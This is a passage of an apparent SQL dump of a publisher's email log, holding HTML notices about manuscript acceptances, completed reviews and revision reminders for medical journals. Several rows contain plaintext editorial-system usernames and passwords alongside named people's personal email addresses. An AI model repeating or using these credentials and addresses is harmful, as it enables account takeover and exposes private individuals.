Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',4739,'2020-08-26',75),(1879,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4496</b><br />\r\n            <br />\r\n            Article Title: <b>Transcranial magnetic stimulation</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Opeyemi Adeloye</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4496</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',4496,'2020-08-26',75),(1880,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4629</b><br />\r\n            <br />\r\n            Article Title: <b>Cross-subject and cross-paradigm learning using convolutional neural network for P300 event-related potential detection. </b><br />\r\n            <br />\r\n            Corresponding Author: <b>AmirMohammad Mijani</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4629</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',4629,'2020-08-26',75),(1881,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4676</b><br />\r\n            <br />\r\n            Article Title: <b>Relationship between the postoperative delirium and dementia in elderly surgical patients: Alzheimer&acirc;&euro;&trade;s disease or Vascular dementia relevant study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>JONGYOON LEE</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4676</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4676,'2020-08-26',75),(1882,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4665</b><br />\r\n            <br />\r\n            Article Title: <b>Non-epileptic paroxysmal states in epilepsY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anna Voitiuk</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4665</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4665,'2020-08-26',75),(1883,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4676</b><br />\r\n            <br />\r\n            Article Title: <b>Relationship between the postoperative delirium and dementia in elderly surgical patients: Alzheimer&acirc;&euro;&trade;s disease or Vascular dementia relevant study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LEE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anastarsya@daum.net',4676,'2020-08-26',75),(1884,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4739</b><br />\r\n            <br />\r\n            Article Title: <b>Impact of Educational Self-Efficacy Enhancement Program on Quality of Life, Pain Management, Self-Efficiency Behaviors, and Its Impact of Satisfaction among Adult Diabetic Patients with Peripheral Neuropathy Pain</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ABU-SHENNAR</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','JAWAD_0799@YAHOO.COM',4739,'2020-08-26',75),(1885,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4629</b><br />\r\n            <br />\r\n            Article Title: <b>Cross-subject and cross-paradigm learning using convolutional neural network for P300 event-related potential detection. </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mijani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','amirmohamad_mijani@yahoo.com',4629,'2020-08-26',75),(1886,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4665</b><br />\r\n            <br />\r\n            Article Title: <b>Non-epileptic paroxysmal states in epilepsY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Voitiuk</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','a_vojtyuk@yahoo.com',4665,'2020-08-26',75),(1900,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4496</b><br />\r\n            <br />\r\n            Article Title: <b>Transcranial magnetic stimulation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Adeloye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','adeloyeopeyemi123@gmail.com',4496,'2020-08-29',75),(1901,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4719</b><br />\r\n            <br />\r\n            Article Title: <b>Primary diffuse large B-cell lymphoma with features simulating POEMS syndrome: Case report and review of the literature</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ahmed Mili</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4719</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',4719,'2020-08-29',75),(1903,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4719</b><br />\r\n            <br />\r\n            Article Title: <b>Primary diffuse large B-cell lymphoma with features simulating POEMS syndrome: Case report and review of the literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mili</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','miliahmed@hotmail.com',4719,'2020-08-29',75),(1910,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5833</b><br />\r\n            <br />\r\n            Article Title: <b>Rare case of mucinous neoplasm of the appendix - Low-grade appendiceal mucinous neoplasm (LAMN) developed against the background of chronic ulcerohemorrhagic colitis</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-20-5833</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','omerengin@hotmail.com',5833,'2020-09-01',319),(1917,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-09-01',85),(1918,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4915</b><br />\r\n            <br />\r\n            Article Title: <b>Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Yasir Malik</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4915</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',4915,'2020-09-01',75),(1919,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4915</b><br />\r\n            <br />\r\n            Article Title: <b>Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Malik</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yasirmmalik@gmail.com',4915,'2020-09-01',75),(1925,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-5833</b><br />\r\n            <br />\r\n            Article Title: <b>Rare case of mucinous neoplasm of the appendix - Low-grade appendiceal mucinous neoplasm (LAMN) developed against the background of chronic ulcerohemorrhagic colitis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <strong>Anna&nbsp;</strong><b>Taseva,</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-09-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','annataseva85@gmail.com',5833,'2020-09-02',319),(1934,'<p>Ref.:  Ms. No. : <b>ipaom-20-5481</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. nasibova</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-5481</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>esmira</b><br />\r\npassword: <b>ISqn1gAA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','doc.nasibova.esmira@gmail.com',5481,'2020-09-05',85),(1945,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5803</b><br />\r\n            <br />\r\n            Article Title: <b>Central skull base osteomyelitis with ischemic infarct: case report and literature review</b><br />\r\n            <br />\r\n            Corresponding Author: <b>leila TAMAOUI</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-5803</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',5803,'2020-09-09',75),(1946,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-5420</b><br />\r\n            <br />\r\n            Article Title: <b>Misdiagnosis of Heroin-Induced Leukoencephalopathy in two patients </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mustafa Al-Chalabi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. 